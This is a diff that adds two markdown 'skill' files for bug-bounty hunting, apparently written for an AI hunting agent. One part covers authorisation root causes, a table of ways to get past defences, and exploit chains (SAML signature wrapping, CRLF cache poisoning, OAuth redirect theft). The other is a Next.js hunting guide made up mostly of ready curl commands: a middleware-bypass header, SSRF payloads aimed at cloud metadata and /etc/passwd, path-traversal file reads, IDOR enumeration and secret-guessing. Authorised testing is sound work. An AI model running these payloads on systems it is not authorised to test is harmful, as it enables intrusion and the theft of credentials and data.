+ 3. **Token scope checked at issuance, not at use** — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap
197
+
198
+ 4. **Role-based access control checked at UI layer only** — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating
199
+
200
+ 5. **SAML XML parsing quirks** — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks
201
+
202
+ 6. **Config/URL fields trusted as internal** — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens
203
+
204
+ 7. **Ruby header injection via string interpolation** — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs
205
+
206
+ 8. **Proxy/mirror configs forwarding all requests upstream** — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion
207
+
208
+ 9. **Pre-receive hook environments exposing privileged context** — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible
209
+
210
+ 10. **Multi-device session design conflated with session fixation** — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk
211
+
212
+ 11. **Server-policy responses mistaken for state-based oracles** — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in `.config`/`.ashx`/`.asmx`/`.svc`") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's `download.aspx?SourceUrl=` returned `"blocked from this Web site by the server administrators"` for `.ashx`/`.asmx`/`.svc`/`.config` extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.
213
+
214
+ ---
215
+
216
+ ## Bypass Techniques
217
+
218
+ **Defender mitigations and how to bypass them:**
219
+
220
+ | Defense | Bypass |
221
+ |---|---|
222
+ | Email verification on invitation | Accept token in a different session before verification step completes; test if token is single-use or multi-use |
223
+ | Role check on API endpoint | Find alternative API versions (`/v3/` vs `/v4/`), GraphQL aliases, or internal endpoints that skip middleware |
224
+ | SAML signature validation | Strip signature element entirely; use XML namespace confusion; inject additional unsigned `Assertion` elements |
225
+ | PAT scope enforcement | Find endpoints that check scope at the collection level but not on individual sub-resources; test legacy API versions |
226
+ | Token revocation on user removal | Revoke at the org level but not at the app/installation level; test cross-installation token reuse |
227
+ | Input sanitization on header values | Try `%0d%0a`, `\r\n`, `\u000d\u000a`, null bytes followed by CRLF; test middleware version-specific parsing |
228
+ | Restricting internal API to localhost | Find SSRF vector (Sentry URL, webhook URL) to make server call the internal endpoint on your behalf |
229
+ | ReDoS regex hardening | Try different anchor points — if `#` is patched, try `?`, `%`, or other RFC-special characters that trigger backtracking |
230
+ | Dependency pinning | Change package names slightly (typosquatting) or target internal package names that aren't published to public registry |
231
+ | Subdomain claim validation | Monitor for hosting provider account deletions; use certificate transparency logs to find unclaimed subdomains |
232
+
233
+ ---
234
+
235
+ ## Gate 0 Validation
236
+
237
+ Before writing the report, answer these three questions:
238
+
239
+ 1. **What can the attacker DO right now?**
240
+ Must be a concrete action: read customer PII, escalate to admin role, take over an account, transfer a domain asset, exfiltrate an API token, inject a response header. "Could potentially..." is not sufficient.
241
+
242
+ 2. **What does the victim LOSE?**
243
+ Must map to a real asset: customer data, account control, financial assets (domains), credentials, code repository contents, or platform trust. "Security best practices not followed" is not a valid answer.
244
+
245
+ 3. **Can it be reproduced in 10 minutes from scratch?**
246
+ Write out the exact steps (no special tooling, no race conditions that require luck). If you need pre-existing conditions (e.g., must already be a maintainer), state them explicitly and verify they're realistic for an attacker to achieve.
247
+
248
+ ---
249
+
250
+ ## Real Impact Examples
251
+
252
+ **Scenario A — Privilege Escalation via Unverified Partner Invitation (Shopify-class)**
253
+ An attacker receives a partner invitation link for a low-privilege role. Before completing email verification, they use the invitation token in a session authenticated as a different account (or no account). The platform grants the elevated partner role without confirming identity, allowing the attacker to access merchant data, install apps, or modify store configurations for all stores in the partner account. Business impact: full partner-level access to hundreds of merchant stores with no legitimate relationship established.
254
+
255
+ **Scenario B — Cross-Tenant Data Persistence After Removal (Shopify/GitLab-class)**
256
+ A staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.
257
+
258
+ **Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class)**
259
+ An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the `Signature` element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.
260
+
261
+ ---
262
+
263
+ ## Chains & Compositions (Senior Hunting)
264
+
265
+ A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: **the secondary primitive is what produces impact**. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
266
+
267
+ ### Chain 1 — Soft-Delete + Post-Removal Session Persistence → Cross-Tenant PII
268
+
269
+ - **A.** Identify a "remove member" endpoint that flips an `active=false` flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).
270
+ - **B.** Log in as the to-be-removed staff member; capture the session cookie / PAT.
271
+ - **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue the same API calls (`GET /admin/orders`, `GET /admin/payouts`, `GET /admin/customers`) using the captured token.
272
+ - **Impact:** API calls keep succeeding for days or weeks post-removal — cached permission checks pass the old auth context. GDPR/CCPA breach exposure; potential extortion leverage; competitive intelligence theft.
273
+ - **Real shape:** Shopify removed-staff session persistence class (2022); GitLab cached-permissions-after-removal class. Pairs with `hunt-ato` Path 5 (session-fixation).
274
+
275
+ ### Chain 2 — Invitation Token Reuse + Skipped Verification → Privileged Role Injection
276
+
277
+ - **A.** Receive an invitation link for a low-privilege role at the target.
278
+ - **B.** Before completing email verification, POST the invitation token from a different session (incognito browser / anonymous request).
279
+ - **C.** Server grants the invited role without re-verifying that the consuming session matches the invited email — new identity inherits the invitation's scope.
280
+ - **Impact:** Privilege-escalated foothold without owning the invited email address. For partner-portal invitations (where a partner-tier role manages hundreds of downstream merchants), this is the Shopify Partners-class Critical.
281
+ - **Real shape:** Multiple H1 Shopify Partners disclosures 2020-2022 (root cause #2). Pairs with `hunt-auth-bypass` step 7 (invitation flow verification).
282
+
283
+ ### Chain 3 — CRLF in Ruby Header + Cache Poisoning → Mass Stored XSS at CDN Scale
284
+
285
+ - **A.** Identify CRLF injection in a Ruby `Net::HTTP` / Rack response header — user-controlled value flows into `Location:` or a custom `X-*` header (root cause #7: Ruby header injection via string interpolation).
286
+ - **B.** Inject `%0d%0aSet-Cookie: session=attacker` or a duplicate `Cache-Control: public, max-age=3600` that pollutes the cache-key normalisation across CDN tiers.
287
+ - **C.** Cache stores the poisoned response for the full max-age. Every CDN-edge visitor in the affected geo receives the attacker's `Set-Cookie` or attacker-controlled body.
288
+ - **Impact:** Cross-customer XSS / session fixation at full CDN scale; persistent until cache TTL expires; affects every visitor to that path.
289
+ - **Real shape:** GitLab CRLF + cache poisoning chain (H1 #1160407 / Iustin Ladunca, 2021); Rack 3 behavioural-change ecosystem advisories (2022-2023). Pairs with `hunt-cache-poison` citation #7 and #10 (Akamai hop-by-hop class).
290
+
291
+ ### Chain 4 — SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO
292
+
293
+ - **A.** Capture a valid SAMLResponse via the legitimate auth flow (Burp filter for `SAMLResponse=` POST bodies on `/saml/acs` or `/Shibboleth.sso`).
294
+ - **B.** Inject a sibling `<Assertion>` element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed `<NameID>admin@victim</NameID>` in the unsigned inner assertion.
295
+ - **C.** SP signature validates against the outer element; SP business logic reads the inner one; admin role assumed without password or MFA.
296
+ - **Impact:** Full enterprise SSO compromise. Every SAML-gated app inherits the spoofed admin identity for the session lifetime.
297
+ - **Real shape:** GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (parser differential, 2025); samlify CVE-2025-47949. Cross-refs `hunt-auth-bypass` Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).
298
+
299
+ ### Chain 5 — Token-Scope Check at Issuance, Not at Use → Cross-Tenant Write via Low-Scope PAT
300
+
301
+ - **A.** Create a personal access token / OAuth token with `read:user` scope only. Confirm via `GET /api/me/tokens`.
302
+ - **B.** Call a write endpoint that should require `write:*` (e.g. `DELETE /repos/{org}/{repo}/issues/{n}`). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.
303
+ - **C.** Write action succeeds despite the token being read-only.
304
+ - **Impact:** PAT scope model is functionally broken — every read-only token is write-equivalent on the affected endpoints. Mass-exploitable across the userbase by anyone with a leaked PAT.
305
+ - **Real shape:** GitHub PAT scope-at-issuance-not-at-use class (root cause #3). Pairs with step 4 (PAT scope enforcement fuzzing) and `hunt-api-misconfig` JWT scope bypasses.
306
+
307
+ ### Chain 6 — Subdomain Takeover at OAuth `redirect_uri` Allowlist → Auth-Code Theft → ATO
308
+
309
+ - **A.** Enumerate OAuth `redirect_uri` allowlist via the `/oauth/authorize` flow; note any wildcard `*.target.com` or takeover-candidate hostname in the static list.
310
+ - **B.** Find a takeover-able subdomain (`legacy.target.com` CNAME'd to deleted Vercel project / Heroku app / S3 bucket — `hunt-subdomain` step 1).
311
+ - **C.** Claim the subdomain. Host an OAuth callback receiver. Send victim to `/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...`. Auth code lands on attacker host. Exchange via token endpoint. ATO.
312
+ - **Impact:** Persistent 1-click ATO every time the OAuth flow runs against the affected client.
313
+ - **Real shape:** Microsoft Azure DevOps `cloudapp.azure.com` + wildcard `*.visualstudio.com` reply_to chain (Binary Security, Nov 2022). Cross-refs `hunt-subdomain` Disclosed Report Citation #12.
314
+
315
+ ### Operator-level pattern
316
+
317
+ When you confirm a misc primitive at A, **immediately** ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
318
+ - `hunt-auth-bypass` — Chains 2, 4, 5
319
+ - `hunt-cache-poison` — Chain 3
320
+ - `hunt-saml` — Chain 4
321
+ - `hunt-subdomain` — Chain 6
322
+ - `hunt-ato` — Chains 1, 2, 5, 6 (all terminal-impact paths)
323
+
324
+ ---
325
+
326
+ ## Related Skills & Chains
327
+
328
+ - **`hunt-saml`** — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW + `hunt-saml` AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.
329
+ - **`hunt-business-logic`** — Misc role/permission desync bugs overlap with business-logic state-machine flaws. Chain primitive: business logic (invitation-before-verify) + role assignment without identity confirmation → tenant takeover.
330
+ - **`hunt-auth-bypass`** — Session-revocation gaps and stale-token issues are pure auth-bypass primitives. Chain primitive: removed user retains session token → `hunt-auth-bypass` → post-termination data exfil and persistent access.
331
+ - **`hunt-ato`** — Most misc auth bugs end at account takeover. Chain primitive: signature-stripping / NameID injection + `hunt-ato` Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.
332
+ - **`security-arsenal`** — Load the SAML Raider payload pack, the session-revocation probe checklist, and the Always-Rejected list (rate-limiting on auth, theoretical issues, user enumeration without sensitive PII).
333
+ - **`triage-validation`** — Apply the 7-Question Gate plus the Body-Diff Rule: misc bugs are the highest-N/A category — a state desync claim needs a concrete cross-tenant read or admin-action PoC, not just "the API let me call it".
@@ -0,0 +1,255 @@
1
+ ---
2
+ name: hunt-nextjs
3
+ description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
4
+ sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories"
5
+ report_count: 0
6
+ ---
7
+
8
+ # HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
9
+
10
+ ## Crown Jewel Targets
11
+
12
+ Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
13
+
14
+ **Highest-value chains:**
15
+ - **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
16
+ - **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
17
+ - **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
18
+ - **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
19
+ - **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
20
+
21
+ ---
22
+
23
+ ## Attack Surface Signals
24
+
25
+ ```
26
+ /_next/image?url=&w=&q= Image optimizer — SSRF candidate
27
+ /_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
28
+ /__nextjs_original-stack-frame Debug stack frame endpoint
29
+ /_next/static/chunks/ JS bundles — source map candidate
30
+ /api/ API routes — standard hunt surface
31
+ __NEXT_DATA__ in HTML SSR props leaked to client
32
+ x-nextjs-* response headers Confirms Next.js
33
+ ```
34
+
35
+ ---
36
+
37
+ ## Phase 1 — Fingerprint & Version Detection
38
+
39
+ ```bash
40
+ # Confirm Next.js and get build ID
41
+ curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
42
+ curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
43
+
44
+ # Extract build ID for /_next/data/ paths
45
+ BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
46
+ echo "Build ID: $BUILD_ID"
47
+
48
+ # Check Next.js version via package disclosure
49
+ curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
50
+
51
+ # Source map exposure
52
+ curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
53
+ curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
54
+ ```
55
+
56
+ ---
57
+
58
+ ## Phase 2 — Server Actions Abuse
59
+
60
+ ```bash
61
+ # Server Actions in Next.js 14+ use x-action-id or Next-Action header
62
+ # Find action IDs in HTML source or JS bundles
63
+ curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
64
+ grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
65
+
66
+ # Call Server Action directly without auth
67
+ curl -s -X POST https://$TARGET/target-page \
68
+ -H "Next-Action: ACTION_ID_HERE" \
69
+ -H "Content-Type: multipart/form-data; boundary=----" \
70
+ -H "Cookie: " \
71
+ --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
72
+
73
+ # Test: does the action execute without a valid session?
74
+ # If it returns data or mutates state → auth enforcement is client-side only
75
+ ```
76
+
77
+ ---
78
+
79
+ ## Phase 3 — Middleware Auth Bypass
80
+
81
+ ```bash
82
+ # Next.js middleware runs on edge runtime and may skip certain paths
83
+ # Test protected route directly
84
+ curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
85
+ # → 200 means accessible
86
+
87
+ # Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
88
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
89
+
90
+ # Test via static asset path prefix (middleware matcher may exclude /_next/static)
91
+ curl -s "https://$TARGET/_next/static/../admin/dashboard"
92
+
93
+ # Encoded path bypass
94
+ curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
95
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
96
+ ```
97
+
98
+ ---
99
+
100
+ ### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
101
+ Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
102
+ ```bash
103
+ curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
104
+ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
105
+ # also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
106
+ # 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
107
+ ```
108
+
109
+ ## Phase 4 — Image Optimization SSRF (`/_next/image`)
110
+
111
+ ```bash
112
+ # Basic SSRF test — internal metadata
113
+ curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
114
+
115
+ # Protocol bypass attempts
116
+ curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
117
+ curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
118
+
119
+ # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
120
+ COLLAB="http://UNIQUE.COLLAB_HOST"
121
+ curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
122
+ # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
123
+ ```
124
+
125
+ **FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
126
+ fetches URLs allowed by `images.remotePatterns` / `images.domains` in
127
+ `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
128
+ the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
129
+ returns an *optimized image*, not the upstream response body, so a status code
130
+ alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
131
+ Collaborator subdomain** (above), or by body-diffing a known-internal vs
132
+ known-external target. Do not report on status code.
133
+
134
+ > Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
135
+ > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
136
+ > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
137
+ > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
138
+ > Actions surface.
139
+
140
+ ---
141
+
142
+ ## Phase 5 — `/_next/data/` IDOR & Data Leakage
143
+
144
+ ```bash
145
+ # Enumerate prerendered JSON for user-specific data
146
+ # Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
147
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
148
+ -H "Cookie: session=VICTIM_SESSION"
149
+
150
+ # Try other users' data
151
+ for ID in 1 2 3 100 1000; do
152
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
153
+ done
154
+
155
+ # Check __NEXT_DATA__ in HTML for sensitive server-side props
156
+ curl -s "https://$TARGET/dashboard" | \
157
+ python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
158
+ ```
159
+
160
+ ---
161
+
162
+ ## Phase 6 — ISR Cache Poisoning
163
+
164
+ ```bash
165
+ # ISR pages regenerate on request after revalidation period
166
+ # If user input influences the static page content without sanitization:
167
+ # 1. Trigger revalidation with malicious input in URL/query
168
+ # 2. Injected content cached and served to all users
169
+
170
+ # Test: does query param affect cached page content?
171
+ # Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
172
+ # and confirm the response was actually CACHED + served to a DIFFERENT client.
173
+ MARK="zqx$(date +%s)"
174
+ # 1) Poison with the marker
175
+ curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
176
+ # 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
177
+ # Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
178
+ # marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
179
+ curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
180
+
181
+ # On-demand revalidation endpoint (if exposed)
182
+ curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
183
+ curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
184
+ ```
185
+
186
+ ---
187
+
188
+ ## Phase 7 — Debug & Stack Frame Endpoints
189
+
190
+ **Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
191
+ are react-dev-overlay middleware mounted ONLY under `next dev`. A production
192
+ build (`next build && next start`) does not register these routes — a 404 here
193
+ is the normal, expected result, not a "filter" you need to bypass. They are
194
+ reachable ONLY in the rare misconfiguration of literally running `next dev` in
195
+ production. Treat any non-404 as the real finding; do NOT report a 404/filtered
196
+ response as confirmation.
197
+
198
+ ```bash
199
+ # First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
200
+ curl -s -o /dev/null -w "%{http_code}" \
201
+ "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
202
+
203
+ # Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
204
+ # reference local files (file-read surface of a dev server wrongly exposed)
205
+ curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
206
+ curl -s "https://$TARGET/__nextjs_original-stack-frame" \
207
+ --data '{"file":"/etc/passwd","line":1,"column":1}'
208
+ ```
209
+
210
+ ---
211
+
212
+ ## Phase 8 — Environment Variable Leakage
213
+
214
+ ```bash
215
+ # NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
216
+ curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
217
+ grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
218
+
219
+ # Check for non-public vars accidentally exposed
220
+ curl -s https://$TARGET/ | python3 -c "
221
+ import sys, re, json
222
+ m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
223
+ if m:
224
+ d = json.loads(m.group(1))
225
+ print(json.dumps(d.get('props', {}), indent=2))
226
+ "
227
+ ```
228
+
229
+ ---
230
+
231
+ ## Chain Table
232
+
233
+ | Next.js finding | Chain to | Impact |
234
+ |----------------|----------|--------|
235
+ | Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
236
+ | `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |
237
+ | `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |
238
+ | Middleware bypass | Protected admin routes | Auth bypass |
239
+ | Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
240
+ | `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |
241
+
242
+ ---
243
+
244
+ ## Validation
245
+
246
+ ✅ Server Action: action executes without valid session, returns data or mutates state
247
+ ✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF
248
+ ✅ Middleware bypass: 200 response on protected route without auth cookie
249
+ ✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII
250
+
251
+ **Severity:**
252
+ - Server Action auth bypass → data mutation: High/Critical
253
+ - Image SSRF → cloud metadata: Critical
254
+ - Middleware bypass → admin panel: High
255
+ - Source map exposure only: Low-Medium